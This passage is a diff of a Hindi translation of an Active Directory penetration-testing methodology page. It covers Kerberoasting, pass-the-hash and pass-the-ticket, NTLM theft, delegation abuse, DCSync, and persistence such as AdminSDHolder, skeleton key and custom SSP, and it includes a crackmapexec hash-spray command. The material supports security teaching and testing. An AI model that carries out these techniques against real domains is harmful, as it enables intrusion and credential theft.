संभावित कमजोर उपयोगकर्ता को खोज सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं। - आप [**CMD का उपयोग करके एक बुनियादी पुनः खोज कर सकते हैं**](../basic-cmd-for-pentesters.md#domain-info) -- आप [**पुनः खोज के लिए powershell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा +- आप [**पॉवरशेल का उपयोग करके पुनः खोज कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा - आप [**powerview का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/powerview.md) अधिक विस्तृत जानकारी निकालने के लिए -- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है**, तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता RDP कहाँ कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि। +- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है** तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता कहाँ RDP कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि। - **अन्य स्वचालित AD सूचीकरण उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**AD के DNS रिकॉर्ड**](ad-dns-records.md) क्योंकि वे दिलचस्प जानकारी रख सकते हैं। -- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक एक **GUI उपकरण** का उपयोग कर सकते हैं जो **SysInternal** Suite से है। -- आप _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज करने के लिए **ldapsearch** का उपयोग कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [PayloadsAllTheThings पर AD उपयोगकर्ता टिप्पणी में पासवर्ड](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए। +- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** Suite से है। +- आप **ldapsearch** के साथ LDAP डेटाबेस में क्रेडेंशियल्स के लिए _userPassword_ और _unixUserPassword_ फ़ील्ड में खोज सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [PayloadsAllTheThings पर AD उपयोगकर्ता टिप्पणी में पासवर्ड](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए। - यदि आप **Linux** का उपयोग कर रहे हैं, तो आप [**pywerview**](https://github.com/the-useless-one/pywerview) का उपयोग करके भी डोमेन की सूची बना सकते हैं। - आप स्वचालित उपकरणों को भी आजमा सकते हैं जैसे: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) @@ -180,7 +182,7 @@ Windows से सभी डोमेन उपयोगकर्ता ना ### Kerberoast -Kerberoasting में **TGS टिकट** प्राप्त करना शामिल है जो उपयोगकर्ता खातों से जुड़े सेवाओं द्वारा उपयोग किए जाते हैं और उनकी एन्क्रिप्शन को क्रैक करना—जो उपयोगकर्ता पासवर्ड पर आधारित है—**ऑफलाइन**। +Kerberoasting में उपयोगकर्ता खातों से जुड़े सेवाओं द्वारा उपयोग किए जाने वाले **TGS टिकटों** को प्राप्त करना और उनके एन्क्रिप्शन को क्रैक करना शामिल है—जो उपयोगकर्ता पासवर्ड पर आधारित है—**ऑफलाइन**। इस बारे में अधिक जानकारी: @@ -190,13 +192,13 @@ kerberoast.md ### दूरस्थ कनेक्शन (RDP, SSH, FTP, Win-RM, आदि) -एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले के लिए, आप विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास करने के लिए **CrackMapExec** का उपयोग कर सकते हैं, आपके पोर्ट स्कैन के अनुसार। +एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए हैं, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले में, आप **CrackMapExec** का उपयोग करके विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास कर सकते हैं, जो आपके पोर्ट स्कैन के अनुसार हैं। ### स्थानीय विशेषाधिकार वृद्धि -यदि आपने क्रेडेंशियल्स या एक नियमित डोमेन उपयोगकर्ता के रूप में एक सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** तक इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। ऐसा इसलिए है क्योंकि केवल स्थानीय व्यवस्थापक विशेषाधिकार के साथ आप **अन्य उपयोगकर्ताओं के हैश को मेमोरी (LSASS) और स्थानीय (SAM) में डंप** कर सकेंगे। +यदि आपने नियमित डोमेन उपयोगकर्ता के रूप में क्रेडेंशियल्स या एक सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। इसका कारण यह है कि केवल स्थानीय व्यवस्थापक विशेषाधिकारों के साथ आप **अन्य उपयोगकर्ताओं के हैश को मेमोरी (LSASS) में और स्थानीय रूप से (SAM) डंप** कर सकेंगे। -इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/index.html) के बारे में एक पूरा पृष्ठ है और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md)। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें। +इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/index.html) और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md) के बारे में एक पूरा पृष्ठ है। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें। ### वर्तमान सत्र टिकट @@ -214,13 +216,13 @@ kerberoast.md ### Looks for Creds in Computer Shares | SMB Shares -अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** **पाते हैं।** आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहराने वाला कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ पाते हैं जिन्हें आपको जांचना है)। +अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** **पाते हैं।** आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहराव वाला कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ पाते हैं जिन्हें आपको जांचना है)। [**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) ### Steal NTLM Creds -यदि आप **अन्य PCs या शेयरों तक पहुँच सकते हैं**, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं, तो **आपके खिलाफ NTLM प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें: +यदि आप **अन्य PCs या शेयरों** तक **पहुँच** सकते हैं, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं, तो **आपके खिलाफ NTLM प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें। {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -240,14 +242,14 @@ printnightmare.md ### Hash extraction -उम्मीद है कि आप [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) सहित रिले करते हुए, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [स्थानीय रूप से विशेषाधिकार बढ़ाना](../windows-local-privilege-escalation/index.html) का उपयोग करके **कुछ स्थानीय व्यवस्थापक** खाता समझौता करने में सफल रहे हैं।\ +उम्मीद है कि आप [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) सहित रिले करते हुए, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [स्थानीय रूप से विशेषाधिकार बढ़ाना](../windows-local-privilege-escalation/index.html) का उपयोग करके **कुछ स्थानीय व्यवस्थापक** खाते को **समझौता** करने में सफल रहे हैं।\ फिर, इसका समय है कि सभी हैश को मेमोरी और स्थानीय रूप से डंप करें।\ [**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Pass the Hash **एक बार जब आपके पास एक उपयोगकर्ता का हैश हो**, तो आप इसका उपयोग **उसका अनुकरण करने** के लिए कर सकते हैं।\ -आपको कुछ **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण** करेगा, **या** आप एक नया **sessionlogon** बना सकते हैं और **LSASS** के अंदर उस **हैश** को **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाता है**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो mimikatz करता है।\ +आपको कुछ **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण** **करेगा**, **या** आप एक नया **sessionlogon** बना सकते हैं और **LSASS** के अंदर उस **हैश** को **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाए**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो mimikatz करता है।\ [**Read this page for more information.**](../ntlm/index.html#pass-the-hash) ### Over Pass the Hash/Pass the Key @@ -260,7 +262,7 @@ over-pass-the-hash-pass-the-key.md ### Pass the Ticket -**Pass The Ticket (PTT)** हमले की विधि में, हमलावर **उपयोगकर्ता का प्रमाणीकरण टिकट चुराते हैं** बजाय इसके कि उनके पासवर्ड या हैश मान हों। यह चुराया गया टिकट फिर **उपयोगकर्ता का अनुकरण करने** के लिए उपयोग किया जाता है, नेटवर्क के भीतर संसाधनों और सेवाओं तक अनधिकृत पहुँच प्राप्त करने के लिए। +**Pass The Ticket (PTT)** हमले की विधि में, हमलावर **उपयोगकर्ता का प्रमाणीकरण टिकट चुराते हैं** बजाय इसके कि उनका पासवर्ड या हैश मान। यह चुराया गया टिकट फिर **उपयोगकर्ता का अनुकरण करने** के लिए उपयोग किया जाता है, नेटवर्क के भीतर संसाधनों और सेवाओं तक अनधिकृत पहुंच प्राप्त करने के लिए। {{#ref}} pass-the-ticket.md @@ -268,20 +270,20 @@ pass-the-ticket.md ### Credentials Reuse -यदि आपके पास **हैश** या **पासवर्ड** है **स्थानीय व्यवस्थापक** का, तो आपको इसे अन्य **PCs** पर **स्थानीय रूप से लॉगिन** करने का प्रयास करना चाहिए। +यदि आपके पास एक **स्थानीय व्यवस्थापक** का **हैश** या **पासवर्ड** है, तो आपको इसे अन्य **PCs** पर **स्थानीय रूप से लॉगिन** करने का प्रयास करना चाहिए। ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> ध्यान दें कि यह काफी **शोरगुल** वाला है और **LAPS** इसे **कम** करेगा। +> ध्यान दें कि यह काफी **शोर** है और **LAPS** इसे **कम** करेगा। ### MSSQL दुरुपयोग और विश्वसनीय लिंक -यदि किसी उपयोगकर्ता के पास **MSSQL उदाहरणों** तक पहुँचने के लिए विशेषाधिकार हैं, तो वह इसका उपयोग **MSSQL होस्ट में कमांड निष्पादित करने** के लिए कर सकता है (यदि SA के रूप में चल रहा है), **NetNTLM हैश** चुराने के लिए या यहां तक कि **रिले** **हमला** करने के लिए।\ -इसके अलावा, यदि एक MSSQL उदाहरण को किसी अन्य MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\ -**डेटाबेस के बीच के लिंक यहां तक कि वन के विश्वासों के पार भी काम करते हैं।** +यदि किसी उपयोगकर्ता के पास **MSSQL उदाहरणों** तक पहुँचने के लिए विशेषाधिकार हैं, तो वह इसका उपयोग **MSSQL होस्ट में कमांड निष्पादित करने** के लिए कर सकता है (यदि SA के रूप में चल रहा हो), **NetNTLM हैश** चुराने के लिए या यहां तक कि **relay** **हमला** करने के लिए।\ +इसके अलावा, यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\ +**डेटाबेस के बीच के लिंक यहां तक कि वन ट्रस्ट के पार भी काम करते हैं।** {{#ref}} abusing-ad-mssql.md @@ -290,8 +292,8 @@ abusing-ad-mssql.md ### अनियंत्रित प्रतिनिधित्व यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION]() विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGTs को डंप करने में सक्षम होंगे।\ -तो, यदि कोई **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसके TGT को डंप कर सकते हैं और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकते हैं।\ -संकीर्ण प्रतिनिधित्व के कारण आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता** कर सकते हैं (उम्मीद है कि यह एक DC होगा)। +तो, यदि कोई **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT डंप कर सकते हैं और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकते हैं।\ +संकीर्ण प्रतिनिधित्व के लिए धन्यवाद, आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता** कर सकते हैं (उम्मीद है कि यह एक DC होगा)। {{#ref}} unconstrained-delegation.md @@ -316,7 +318,7 @@ resource-based-constrained-delegation.md ### अनुमतियाँ/ACLs दुरुपयोग -समझौता किया गया उपयोगकर्ता कुछ **दिलचस्प विशेषाधिकार** रख सकता है जो आपको **पार्श्व रूप से स्थानांतरित**/**विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं। +समझौता किया गया उपयोगकर्ता कुछ **दिलचस्प विशेषाधिकार** रख सकता है जो आपको **पार्श्व में स्थानांतरित** करने/विशेषाधिकार बढ़ाने की अनुमति दे सकते हैं। {{#ref}} acl-persistence-abuse/ @@ -332,7 +334,7 @@ printers-spooler-service-abuse.md ### तीसरे पक्ष के सत्रों का दुरुपयोग -यदि **अन्य उपयोगकर्ता** **समझौता** की गई मशीन तक पहुँचते हैं, तो यह **मेमोरी से क्रेडेंशियल्स इकट्ठा करने** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करने** के लिए संभव है ताकि उनकी नकल की जा सके।\ +यदि **अन्य उपयोगकर्ता** **समझौता किए गए** मशीन तक पहुँचते हैं, तो **मेमोरी से क्रेडेंशियल्स इकट्ठा करना** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करना** संभव है ताकि उनकी नकल की जा सके।\ आमतौर पर उपयोगकर्ता RDP के माध्यम से सिस्टम तक पहुँचते हैं, इसलिए यहां आपके पास तीसरे पक्ष के RDP सत्रों पर कुछ हमले करने का तरीका है: {{#ref}} @@ -341,7 +343,7 @@ rdp-sessions-abuse.md ### LAPS -**LAPS** डोमेन-जोड़े गए कंप्यूटरों पर **स्थानीय व्यवस्थापक पासवर्ड** प्रबंधित करने के लिए एक प्रणाली प्रदान करता है, यह सुनिश्चित करते हुए कि यह **यादृच्छिक**, अद्वितीय, और अक्सर **बदला** जाता है। ये पासवर्ड Active Directory में संग्रहीत होते हैं और पहुँच को केवल अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से नियंत्रित किया जाता है। इन पासवर्डों तक पहुँच के लिए पर्याप्त विशेषाधिकार के साथ, अन्य कंप्यूटरों पर पिवटिंग करना संभव हो जाता है। +**LAPS** डोमेन-जोड़े गए कंप्यूटरों पर **स्थानीय व्यवस्थापक पासवर्ड** प्रबंधित करने के लिए एक प्रणाली प्रदान करता है, यह सुनिश्चित करते हुए कि यह **यादृच्छिक**, अद्वितीय, और अक्सर **बदलता** है। ये पासवर्ड Active Directory में संग्रहीत होते हैं और केवल अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से पहुँच नियंत्रित की जाती है। इन पासवर्डों तक पहुँच के लिए पर्याप्त अनुमतियों के साथ, अन्य कंप्यूटरों पर पिवटिंग संभव हो जाता है। {{#ref}} laps.md @@ -349,7 +351,7 @@ laps.md ### प्रमाणपत्र चोरी -**समझौता की गई मशीन से प्रमाणपत्र इकट्ठा करना** वातावरण के भीतर विशेषाधिकार बढ़ाने का एक तरीका हो सकता है: +**समझौता किए गए मशीन से प्रमाणपत्र इकट्ठा करना** वातावरण के भीतर विशेषाधिकार बढ़ाने का एक तरीका हो सकता है: {{#ref}} ad-certificates/certificate-theft.md @@ -363,20 +365,20 @@ ad-certificates/certificate-theft.md ad-certificates/domain-escalation.md {{#endref}} -## उच्च विशेषाधिकार खाते के साथ पोस्ट-शोषण +## उच्च विशेषाधिकार खाते के साथ पोस्ट-एक्सप्लॉइटेशन ### डोमेन क्रेडेंशियल्स का डंपिंग एक बार जब आप **डोमेन एडमिन** या यहां तक कि बेहतर **एंटरप्राइज एडमिन** विशेषाधिकार प्राप्त कर लेते हैं, तो आप **डोमेन डेटाबेस** को **डंप** कर सकते हैं: _ntds.dit_। -[**DCSync हमले के बारे में अधिक जानकारी यहाँ पाई जा सकती है**](dcsync.md)। +[**DCSync हमले के बारे में अधिक जानकारी यहाँ मिल सकती है**](dcsync.md)। -[**NTDS.dit चुराने के तरीके के बारे में अधिक जानकारी यहाँ पाई जा सकती है**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**NTDS.dit चुराने के तरीके के बारे में अधिक जानकारी यहाँ मिल सकती है**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### प्रिवेस्क के रूप में स्थिरता पहले चर्चा की गई कुछ तकनीकों का उपयोग स्थिरता के लिए किया जा सकता है।\ -उदाहरण के लिए आप कर सकते हैं: +उदाहरण के लिए, आप कर सकते हैं: - उपयोगकर्ताओं को [**Kerberoast**](kerberoast.md) के लिए कमजोर बनाना @@ -432,7 +434,7 @@ ad-certificates/account-persistence.md ### **प्रमाणपत्र डोमेन स्थिरता** -**प्रमाणपत्रों का उपयोग करना उच्च विशेषाधिकारों के साथ डोमेन के भीतर स्थिरता बनाए रखने के लिए भी संभव है:** +**प्रमाणपत्रों का उपयोग करना भी डोमेन के भीतर उच्च विशेषाधिकारों के साथ स्थिरता बनाए रखने के लिए संभव है:** {{#ref}} ad-certificates/domain-persistence.md @@ -440,13 +442,13 @@ ad-certificates/domain-persistence.md ### AdminSDHolder समूह -Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक नियमित उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो वह उपयोगकर्ता सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण प्राप्त कर लेता है। यह सुरक्षा उपाय, जो सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, जिससे बिना अनुमति की पहुँच संभव हो जाती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता। +Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक नियमित उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जो सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, जिससे बिना अनुमति की पहुँच संभव हो जाती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता। [**AdminDSHolder समूह के बारे में अधिक जानकारी यहाँ।**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### DSRM क्रेडेंशियल्स -हर **डोमेन कंट्रोलर (DC)** के अंदर, एक **स्थानीय व्यवस्थापक** खाता मौजूद होता है। ऐसी मशीन पर प्रशासनिक अधिकार प्राप्त करके, स्थानीय व्यवस्थापक हैश को **mimikatz** का उपयोग करके निकाला जा सकता है। इसके बाद, इस पासवर्ड का उपयोग करने के लिए **पंजीकरण संशोधन** आवश्यक है, जिससे स्थानीय व्यवस्थापक खाते तक दूरस्थ पहुँच की अनुमति मिलती है। +हर **डोमेन कंट्रोलर (DC)** के अंदर, एक **स्थानीय व्यवस्थापक** खाता होता है। ऐसी मशीन पर प्रशासनिक अधिकार प्राप्त करके, स्थानीय व्यवस्थापक हैश को **mimikatz** का उपयोग करके निकाला जा सकता है। इसके बाद, इस पासवर्ड का उपयोग करने के लिए **पंजीकरण संशोधन** आवश्यक है, जिससे स्थानीय व्यवस्थापक खाते तक दूरस्थ पहुँच की अनुमति मिलती है। {{#ref}} dsrm-credentials.md @@ -454,7 +456,7 @@ dsrm-credentials.md ### ACL स्थिरता -आप कुछ विशिष्ट डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमतियाँ** दे सकते हैं जो उपयोगकर्ता को भविष्य में **विशेषाधिकार बढ़ाने** की अनुमति देंगी। +आप कुछ विशिष्ट डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमतियाँ** दे सकते हैं जो उपयोगकर्ता को **भविष्य में विशेषाधिकार बढ़ाने** की अनुमति देंगी। {{#ref}} acl-persistence-abuse/ @@ -462,7 +464,7 @@ acl-persistence-abuse/ ### सुरक्षा वर्णनकर्ता -**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** के एक ऑब्जेक्ट में **थोड़ा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने। +**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** के एक ऑब्जेक्ट में **थोड़ा सा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने। {{#ref}} security-descriptors.md @@ -479,7 +481,7 @@ skeleton-key.md ### कस्टम SSP [यहाँ जानें कि SSP (सिक्योरिटी सपोर्ट प्रोवाइडर) क्या है।](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -आप **अपना खुद का SSP** बना सकते हैं ताकि मशीन तक पहुँचने के लिए उपयोग किए गए **क्रेडेंशियल्स** को **स्पष्ट पाठ** में **कैप्चर** किया जा सके। +आप **अपने स्वयं के SSP** को **स्पष्ट पाठ** में **क्रेडेंशियल्स** कैप्चर करने के लिए बना सकते हैं जो मशीन तक पहुँचने के लिए उपयोग किए जाते हैं। {{#ref}} custom-ssp.md @@ -497,7 +499,7 @@ dcshadow.md ### LAPS स्थिरता पहले हमने चर्चा की है कि यदि आपके पास **LAPS पासवर्ड पढ़ने के लिए पर्याप्त अनुमति है** तो आप विशेषाधिकार कैसे बढ़ा सकते हैं। हालाँकि, इन पासवर्डों का उपयोग **स्थिरता बनाए रखने** के लिए भी किया जा सकता है।\ -जाँच करें: +जांचें: {{#ref}} laps.md @@ -511,52 +513,52 @@ Microsoft **वन** को सुरक्षा सीमा के रूप एक [**डोमेन ट्रस्ट**]() एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन निर्बाध रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर्स (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं। -एक सामान्य परिदृश्य में, यदि कोई उपयोगकर्ता **विश्वसनीय डोमेन** में एक सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से **इंटर-रीलम TGT** के रूप में जानी जाने वाली एक विशेष टिकट का अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है। +एक सामान्य परिदृश्य में, यदि कोई उपयोगकर्ता एक **विश्वसनीय डोमेन** में सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से **इंटर-रीलम TGT** के रूप में जाना जाने वाला एक विशेष टिकट अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है। **चरण**: 1. **डोमेन 1** में एक **क्लाइंट कंप्यूटर** प्रक्रिया शुरू करता है, जो अपने **NTLM हैश** का उपयोग करके अपने **डोमेन कंट्रोलर (DC1)** से **टिकट ग्रांटिंग टिकट 